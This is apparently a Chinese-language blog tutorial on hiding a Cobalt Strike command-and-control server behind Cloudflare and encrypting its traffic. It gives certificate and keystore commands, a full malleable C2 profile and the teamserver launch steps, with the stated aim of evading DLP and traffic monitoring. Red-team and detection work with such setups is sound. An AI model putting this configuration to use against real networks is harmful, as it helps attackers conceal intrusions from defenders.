c2隱藏&流量加密

小新07發表於2024-05-21

c2隱藏&流量加密

參考連結

參考文章:
https://webxxe.cn/index.php/archives/238/
c2profile隨機生成指令碼:
https://github.com/threatexpress/random_c2_profile
https://github.com/RedSiege/C2concealer
C2concealer使用:https://www.freebuf.com/articles/network/330713.html
檢查profile檔案和注意事項:https://webxxe.cn/index.php/archives/209/
國外購買域名(免備案):https://porkbun.com/checkout/search
國外免費域名(免備案):但是我感覺不好用,沒什麼域名https://www.freenom.com/zh/index.html?lang=zh

前言

域前置技術主要透過CDN節點將流量轉發給真實的C2伺服器,CDN節點ip可透過識別請求的Host頭進行流量轉發,利用我們配置域名的高可信度,那麼就可以有效躲避針對DLP、agent等流量監測並且隱藏ip
雖然Cobalt Strike流量自帶SSL證書, 不過大多數情況下都會被殺軟查殺, 因此需要自行配置證書來進行加密

過程

域前置配置

  • 1、先購買一個域名

  • 2、開啟cloudflare 新增站點-填寫剛剛獲得的域名

https://dash.cloudflare.com/
(1)選擇免費-確認
image.png
image.png
(2)dns-Records-新增兩條記image.png
注意:
這裡折磨了好久,這裡的name是不能隨便填的,一個填www,一個填域名,不然後面ping不通

  • 3、回到域名購買的網站,來到域名管理頁面找到NS

image.png
image.png
把上面兩個域名填上去
image.png

  • 4.cloudflare左邊選擇SSL/TLS:改成靈活,因為在國內完全會很慢

image.png
(2)建立證書
image.png
image.png
(3)建立後記下證書和私鑰
image.png
(4)左邊配置-發展模式勾上
image.png
(5)** **左邊規則 - 新增兩個規則 - 選擇快取級別 - 選擇繞過 - 儲存
image.png
image.png

  • 5.最後可以ping一下域名看看

最開始是ping都解析不到ip,但是後面發現是dns的name沒填好(上面有說)
image.png
後面能解析到ip了但是一直請求超時,訪問了我的域名,cloudfflare報錯522,谷歌搜了一下,可能是cloudflare請求不了我的伺服器,就想起了可能埠沒開策略給ping
image.png
開啟後果然可以了
image.pngimage.png

自行配置證書流量加密

  • 6.到kali裡面生成證書檔案

開啟kali,建立server.pem檔案,貼上證書
image.png
建立 server.key, 貼上剛剛儲存的私鑰
image.png
生成 c2 證書
openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:yftk123
建立一個 store
keytool -importkeystore -deststorepass yftk123 -destkeypass yftk123 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass yftk123 -alias cloudflare_cert
可以修改密碼,但要兩條命令保持一致
image.png

  • 7、建立 c2 配置檔案 cdn.profile
https-certificate {
set keystore "cfcert.store";
set password "yftk123";
}
http-config {
header "Content-Type" "application";
}
http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "xxx.com";}
server {
output{
print;
}
}
}
http-get {
set uri "/api/3";
client {
header "Host" "xxx.com";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}
http-post {
set uri "/api/4";
client {
header "Host" "xxx.com";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}

主要修改下圖這些
image.png

  • 8、cs設定

這兩個檔案複製到伺服器,然後給許可權
image.png
啟動cs
./teamserver ip pass cdn.profile
image.png
注意一下這個
Cloudflare支援的HTTP埠是: 80,8080,8880,2052,2082,2086,2095
Cloudflare支援的HTTPs埠是: 443,2053,2083,2087,2096,8443
新建監聽器
image.png

  • 9、上線成功,ip是cdn伺服器且流量已加密

image.png
image.png

相關文章